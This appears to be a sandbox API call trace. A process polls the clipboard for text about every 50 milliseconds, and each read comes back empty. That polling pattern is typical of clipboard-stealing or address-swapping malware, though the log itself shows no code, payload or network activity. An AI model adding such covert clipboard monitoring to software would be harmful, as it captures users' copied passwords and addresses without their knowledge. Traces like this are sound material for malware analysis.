[0225.514] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.514] GetClipboardData (uFormat=0x1) returned 0x0
[0225.514] CloseClipboard () returned 1
[0225.514] Sleep (dwMilliseconds=0x32)
[0225.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe16a30fa, dwHighDateTime=0x1d96e12))
[0225.577] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.577] GetClipboardData (uFormat=0x1) returned 0x0
[0225.577] CloseClipboard () returned 1
[0225.577] Sleep (dwMilliseconds=0x32)
[0225.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe173af4e, dwHighDateTime=0x1d96e12))
[0225.644] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.644] GetClipboardData (uFormat=0x1) returned 0x0
[0225.644] CloseClipboard () returned 1
[0225.645] Sleep (dwMilliseconds=0x32)
[0225.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe17d3936, dwHighDateTime=0x1d96e12))
[0225.701] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.701] GetClipboardData (uFormat=0x1) returned 0x0
[0225.701] CloseClipboard () returned 1
[0225.702] Sleep (dwMilliseconds=0x32)
[0225.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe186c1f7, dwHighDateTime=0x1d96e12))
[0225.764] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.764] GetClipboardData (uFormat=0x1) returned 0x0
[0225.764] CloseClipboard () returned 1
[0225.764] Sleep (dwMilliseconds=0x32)
[0225.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1904bf8, dwHighDateTime=0x1d96e12))
[0225.826] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.826] GetClipboardData (uFormat=0x1) returned 0x0
[0225.826] CloseClipboard () returned 1
[0225.826] Sleep (dwMilliseconds=0x32)
[0225.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe199d565, dwHighDateTime=0x1d96e12))
[0225.889] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.889] GetClipboardData (uFormat=0x1) returned 0x0
[0225.889] CloseClipboard () returned 1
[0225.889] Sleep (dwMilliseconds=0x32)
[0225.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1a35eea, dwHighDateTime=0x1d96e12))
[0225.951] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.951] GetClipboardData (uFormat=0x1) returned 0x0
[0225.951] CloseClipboard () returned 1
[0225.951] Sleep (dwMilliseconds=0x32)
[0226.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1ace7b4, dwHighDateTime=0x1d96e12))
[0226.014] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.014] GetClipboardData (uFormat=0x1) returned 0x0
[0226.014] CloseClipboard () returned 1
[0226.014] Sleep (dwMilliseconds=0x32)
[0226.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1b69e35, dwHighDateTime=0x1d96e12))
[0226.078] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.078] GetClipboardData (uFormat=0x1) returned 0x0
[0226.078] CloseClipboard () returned 1
[0226.078] Sleep (dwMilliseconds=0x32)
[0226.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1bffaec, dwHighDateTime=0x1d96e12))
[0226.139] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.139] GetClipboardData (uFormat=0x1) returned 0x0
[0226.139] CloseClipboard () returned 1
[0226.139] Sleep (dwMilliseconds=0x32)
[0226.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1c98403, dwHighDateTime=0x1d96e12))
[0226.201] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.201] GetClipboardData (uFormat=0x1) returned 0x0
[0226.201] CloseClipboard () returned 1
[0226.202] Sleep (dwMilliseconds=0x32)
[0226.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1d30dc1, dwHighDateTime=0x1d96e12))
[0226.264] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.264] GetClipboardData (uFormat=0x1) returned 0x0
[0226.264] CloseClipboard () returned 1
[0226.264] Sleep (dwMilliseconds=0x32)
[0226.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1dca426, dwHighDateTime=0x1d96e12))
[0226.334] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.334] GetClipboardData (uFormat=0x1) returned 0x0
[0226.334] CloseClipboard () returned 1
[0226.334] Sleep (dwMilliseconds=0x32)
[0226.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1e62078, dwHighDateTime=0x1d96e12))
[0226.389] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.389] GetClipboardData (uFormat=0x1) returned 0x0
[0226.389] CloseClipboard () returned 1
[0226.389] Sleep (dwMilliseconds=0x32)
[0226.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1efaa06, dwHighDateTime=0x1d96e12))
[0226.451] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.451] GetClipboardData (uFormat=0x1) returned 0x0
[0226.451] CloseClipboard () returned 1
[0226.451] Sleep (dwMilliseconds=0x32)
[0226.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1f93333, dwHighDateTime=0x1d96e12))
[0226.517] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.517] GetClipboardData (uFormat=0x1) returned 0x0
[0226.517] CloseClipboard () returned 1
[0226.517] Sleep (dwMilliseconds=0x32)
[0226.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe202bcaf, dwHighDateTime=0x1d96e12))
[0226.576] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.576] GetClipboardData (uFormat=0x1) returned 0x0
[0226.576] CloseClipboard () returned 1
[0226.576] Sleep (dwMilliseconds=0x32)
[0226.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe20c45f4, dwHighDateTime=0x1d96e12))
[0226.646] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.646] GetClipboardData (uFormat=0x1) returned 0x0
[0226.646] CloseClipboard () returned 1
[0226.646] Sleep (dwMilliseconds=0x32)
[0226.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe215ced0, dwHighDateTime=0x1d96e12))
[0226.702] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.703] GetClipboardData (uFormat=0x1) returned 0x0
[0226.703] CloseClipboard () returned 1
[0226.703] Sleep (dwMilliseconds=0x32)
[0226.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe21f58e4, dwHighDateTime=0x1d96e12))
[0226.764] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.764] GetClipboardData (uFormat=0x1) returned 0x0
[0226.764] CloseClipboard () returned 1
[0226.764] Sleep (dwMilliseconds=0x32)
[0226.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe228e158, dwHighDateTime=0x1d96e12))
[0226.826] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.826] GetClipboardData (uFormat=0x1) returned 0x0
[0226.826] CloseClipboard () returned 1
[0226.827] Sleep (dwMilliseconds=0x32)
[0226.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2326be5, dwHighDateTime=0x1d96e12))
[0226.891] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.891] GetClipboardData (uFormat=0x1) returned 0x0
[0226.891] CloseClipboard () returned 1
[0226.891] Sleep (dwMilliseconds=0x32)
[0226.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe23bf4fd, dwHighDateTime=0x1d96e12))
[0226.953] OpenClipboard (hWndNewOwner=0x0) returned 1
[0226.953] GetClipboardData (uFormat=0x1) returned 0x0
[0226.953] CloseClipboard () returned 1
[0226.953] Sleep (dwMilliseconds=0x32)
[0227.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2457e8d, dwHighDateTime=0x1d96e12))
[0227.014] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.014] GetClipboardData (uFormat=0x1) returned 0x0
[0227.014] CloseClipboard () returned 1
[0227.014] Sleep (dwMilliseconds=0x32)
[0227.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe24f080d, dwHighDateTime=0x1d96e12))
[0227.076] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.076] GetClipboardData (uFormat=0x1) returned 0x0
[0227.076] CloseClipboard () returned 1
[0227.077] Sleep (dwMilliseconds=0x32)
[0227.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe258913d, dwHighDateTime=0x1d96e12))
[0227.139] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.139] GetClipboardData (uFormat=0x1) returned 0x0
[0227.139] CloseClipboard () returned 1
[0227.139] Sleep (dwMilliseconds=0x32)
[0227.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2621b02, dwHighDateTime=0x1d96e12))
[0227.201] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.202] GetClipboardData (uFormat=0x1) returned 0x0
[0227.202] CloseClipboard () returned 1
[0227.202] Sleep (dwMilliseconds=0x32)
[0227.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe26ba42b, dwHighDateTime=0x1d96e12))
[0227.264] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.264] GetClipboardData (uFormat=0x1) returned 0x0
[0227.264] CloseClipboard () returned 1
[0227.264] Sleep (dwMilliseconds=0x32)
[0227.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2752ddb, dwHighDateTime=0x1d96e12))
[0227.326] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.326] GetClipboardData (uFormat=0x1) returned 0x0
[0227.326] CloseClipboard () returned 1
[0227.327] Sleep (dwMilliseconds=0x32)
[0227.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe27eb715, dwHighDateTime=0x1d96e12))
[0227.389] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.389] GetClipboardData (uFormat=0x1) returned 0x0
[0227.389] CloseClipboard () returned 1
[0227.389] Sleep (dwMilliseconds=0x32)
[0227.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2884068, dwHighDateTime=0x1d96e12))
[0227.451] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.451] GetClipboardData (uFormat=0x1) returned 0x0
[0227.451] CloseClipboard () returned 1
[0227.452] Sleep (dwMilliseconds=0x32)
[0227.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe291c9ba, dwHighDateTime=0x1d96e12))
[0227.514] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.514] GetClipboardData (uFormat=0x1) returned 0x0
[0227.514] CloseClipboard () returned 1
[0227.514] Sleep (dwMilliseconds=0x32)
[0227.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe29b5341, dwHighDateTime=0x1d96e12))
[0227.576] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.576] GetClipboardData (uFormat=0x1) returned 0x0
[0227.576] CloseClipboard () returned 1
[0227.576] Sleep (dwMilliseconds=0x32)
[0227.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2a4dc83, dwHighDateTime=0x1d96e12))
[0227.644] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.644] GetClipboardData (uFormat=0x1) returned 0x0
[0227.644] CloseClipboard () returned 1
[0227.644] Sleep (dwMilliseconds=0x32)
[0227.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2ae65fc, dwHighDateTime=0x1d96e12))
[0227.701] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.702] GetClipboardData (uFormat=0x1) returned 0x0
[0227.702] CloseClipboard () returned 1
[0227.702] Sleep (dwMilliseconds=0x32)
[0227.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2b7ef6a, dwHighDateTime=0x1d96e12))
[0227.766] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.766] GetClipboardData (uFormat=0x1) returned 0x0
[0227.766] CloseClipboard () returned 1
[0227.766] Sleep (dwMilliseconds=0x32)
[0227.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2c178d5, dwHighDateTime=0x1d96e12))
[0227.826] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.826] GetClipboardData (uFormat=0x1) returned 0x0
[0227.826] CloseClipboard () returned 1
[0227.827] Sleep (dwMilliseconds=0x32)
[0227.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2cb0227, dwHighDateTime=0x1d96e12))
[0227.889] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.889] GetClipboardData (uFormat=0x1) returned 0x0
[0227.889] CloseClipboard () returned 1
[0227.889] Sleep (dwMilliseconds=0x32)
[0227.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2d48b84, dwHighDateTime=0x1d96e12))
[0227.951] OpenClipboard (hWndNewOwner=0x0) returned 1
[0227.951] GetClipboardData (uFormat=0x1) returned 0x0
[0227.951] CloseClipboard () returned 1
[0227.952] Sleep (dwMilliseconds=0x32)
[0228.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2de151a, dwHighDateTime=0x1d96e12))
[0228.016] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.016] GetClipboardData (uFormat=0x1) returned 0x0
[0228.016] CloseClipboard () returned 1
[0228.016] Sleep (dwMilliseconds=0x32)
[0228.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2ea00bc, dwHighDateTime=0x1d96e12))
[0228.104] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.104] GetClipboardData (uFormat=0x1) returned 0x0
[0228.104] CloseClipboard () returned 1
[0228.104] Sleep (dwMilliseconds=0x32)
[0228.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2f5ec6a, dwHighDateTime=0x1d96e12))
[0228.170] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.170] GetClipboardData (uFormat=0x1) returned 0x0
[0228.170] CloseClipboard () returned 1
[0228.170] Sleep (dwMilliseconds=0x32)
[0228.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe2ff75c8, dwHighDateTime=0x1d96e12))
[0228.233] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.233] GetClipboardData (uFormat=0x1) returned 0x0
[0228.233] CloseClipboard () returned 1
[0228.233] Sleep (dwMilliseconds=0x32)
[0228.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe308fed6, dwHighDateTime=0x1d96e12))
[0228.295] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.295] GetClipboardData (uFormat=0x1) returned 0x0
[0228.295] CloseClipboard () returned 1
[0228.295] Sleep (dwMilliseconds=0x32)
[0228.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe312888e, dwHighDateTime=0x1d96e12))
[0228.358] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.358] GetClipboardData (uFormat=0x1) returned 0x0
[0228.358] CloseClipboard () returned 1
[0228.358] Sleep (dwMilliseconds=0x32)
[0228.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe31c116a, dwHighDateTime=0x1d96e12))
[0228.420] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.420] GetClipboardData (uFormat=0x1) returned 0x0
[0228.420] CloseClipboard () returned 1
[0228.420] Sleep (dwMilliseconds=0x32)
[0228.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3259b46, dwHighDateTime=0x1d96e12))
[0228.483] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.483] GetClipboardData (uFormat=0x1) returned 0x0
[0228.483] CloseClipboard () returned 1
[0228.483] Sleep (dwMilliseconds=0x32)
[0228.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe32f24bd, dwHighDateTime=0x1d96e12))
[0228.545] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.545] GetClipboardData (uFormat=0x1) returned 0x0
[0228.545] CloseClipboard () returned 1
[0228.545] Sleep (dwMilliseconds=0x32)
[0228.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe338ae6d, dwHighDateTime=0x1d96e12))
[0228.608] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.608] GetClipboardData (uFormat=0x1) returned 0x0
[0228.608] CloseClipboard () returned 1
[0228.608] Sleep (dwMilliseconds=0x32)
[0228.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe342375d, dwHighDateTime=0x1d96e12))
[0228.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.670] GetClipboardData (uFormat=0x1) returned 0x0
[0228.670] CloseClipboard () returned 1
[0228.670] Sleep (dwMilliseconds=0x32)
[0228.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe34bc077, dwHighDateTime=0x1d96e12))
[0228.733] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.733] GetClipboardData (uFormat=0x1) returned 0x0
[0228.733] CloseClipboard () returned 1
[0228.733] Sleep (dwMilliseconds=0x32)
[0228.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe35549cf, dwHighDateTime=0x1d96e12))
[0228.797] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.797] GetClipboardData (uFormat=0x1) returned 0x0
[0228.797] CloseClipboard () returned 1
[0228.797] Sleep (dwMilliseconds=0x32)
[0228.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe35ed389, dwHighDateTime=0x1d96e12))
[0228.858] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.858] GetClipboardData (uFormat=0x1) returned 0x0
[0228.858] CloseClipboard () returned 1
[0228.858] Sleep (dwMilliseconds=0x32)
[0228.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3685d52, dwHighDateTime=0x1d96e12))
[0228.920] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.920] GetClipboardData (uFormat=0x1) returned 0x0
[0228.920] CloseClipboard () returned 1
[0228.920] Sleep (dwMilliseconds=0x32)
[0228.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe371e647, dwHighDateTime=0x1d96e12))
[0228.983] OpenClipboard (hWndNewOwner=0x0) returned 1
[0228.983] GetClipboardData (uFormat=0x1) returned 0x0
[0228.983] CloseClipboard () returned 1
[0228.983] Sleep (dwMilliseconds=0x32)
[0229.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe37b6fb2, dwHighDateTime=0x1d96e12))
[0229.045] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.045] GetClipboardData (uFormat=0x1) returned 0x0
[0229.045] CloseClipboard () returned 1
[0229.045] Sleep (dwMilliseconds=0x32)
[0229.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe384f932, dwHighDateTime=0x1d96e12))
[0229.108] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.108] GetClipboardData (uFormat=0x1) returned 0x0
[0229.108] CloseClipboard () returned 1
[0229.108] Sleep (dwMilliseconds=0x32)
[0229.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe38e822b, dwHighDateTime=0x1d96e12))
[0229.170] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.170] GetClipboardData (uFormat=0x1) returned 0x0
[0229.170] CloseClipboard () returned 1
[0229.170] Sleep (dwMilliseconds=0x32)
[0229.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3980b98, dwHighDateTime=0x1d96e12))
[0229.233] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.233] GetClipboardData (uFormat=0x1) returned 0x0
[0229.233] CloseClipboard () returned 1
[0229.233] Sleep (dwMilliseconds=0x32)
[0229.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3a194ff, dwHighDateTime=0x1d96e12))
[0229.295] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.295] GetClipboardData (uFormat=0x1) returned 0x0
[0229.295] CloseClipboard () returned 1
[0229.295] Sleep (dwMilliseconds=0x32)
[0229.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3ab1ee1, dwHighDateTime=0x1d96e12))
[0229.361] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.361] GetClipboardData (uFormat=0x1) returned 0x0
[0229.361] CloseClipboard () returned 1
[0229.361] Sleep (dwMilliseconds=0x32)
[0229.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3b4a7d9, dwHighDateTime=0x1d96e12))
[0229.420] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.420] GetClipboardData (uFormat=0x1) returned 0x0
[0229.420] CloseClipboard () returned 1
[0229.420] Sleep (dwMilliseconds=0x32)
[0229.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3be69c0, dwHighDateTime=0x1d96e12))
[0229.484] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.484] GetClipboardData (uFormat=0x1) returned 0x0
[0229.484] CloseClipboard () returned 1
[0229.484] Sleep (dwMilliseconds=0x32)
[0229.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3c7ba9f, dwHighDateTime=0x1d96e12))
[0229.545] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.545] GetClipboardData (uFormat=0x1) returned 0x0
[0229.545] CloseClipboard () returned 1
[0229.545] Sleep (dwMilliseconds=0x32)
[0229.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3d14412, dwHighDateTime=0x1d96e12))
[0229.608] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.608] GetClipboardData (uFormat=0x1) returned 0x0
[0229.608] CloseClipboard () returned 1
[0229.608] Sleep (dwMilliseconds=0x32)
[0229.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3dacd9a, dwHighDateTime=0x1d96e12))
[0229.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.670] GetClipboardData (uFormat=0x1) returned 0x0
[0229.670] CloseClipboard () returned 1
[0229.670] Sleep (dwMilliseconds=0x32)
[0229.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3e456da, dwHighDateTime=0x1d96e12))
[0229.733] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.733] GetClipboardData (uFormat=0x1) returned 0x0
[0229.733] CloseClipboard () returned 1
[0229.733] Sleep (dwMilliseconds=0x32)
[0229.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3ede07c, dwHighDateTime=0x1d96e12))
[0229.795] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.796] GetClipboardData (uFormat=0x1) returned 0x0
[0229.796] CloseClipboard () returned 1
[0229.796] Sleep (dwMilliseconds=0x32)
[0229.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3f769bb, dwHighDateTime=0x1d96e12))
[0229.858] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.858] GetClipboardData (uFormat=0x1) returned 0x0
[0229.858] CloseClipboard () returned 1
[0229.858] Sleep (dwMilliseconds=0x32)
[0229.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe400f356, dwHighDateTime=0x1d96e12))
[0229.922] OpenClipboard (hWndNewOwner=0x0) returned 1
[0229.922] GetClipboardData (uFormat=0x1) returned 0x0
[0229.922] CloseClipboard () returned 1
[0229.922] Sleep (dwMilliseconds=0x32)
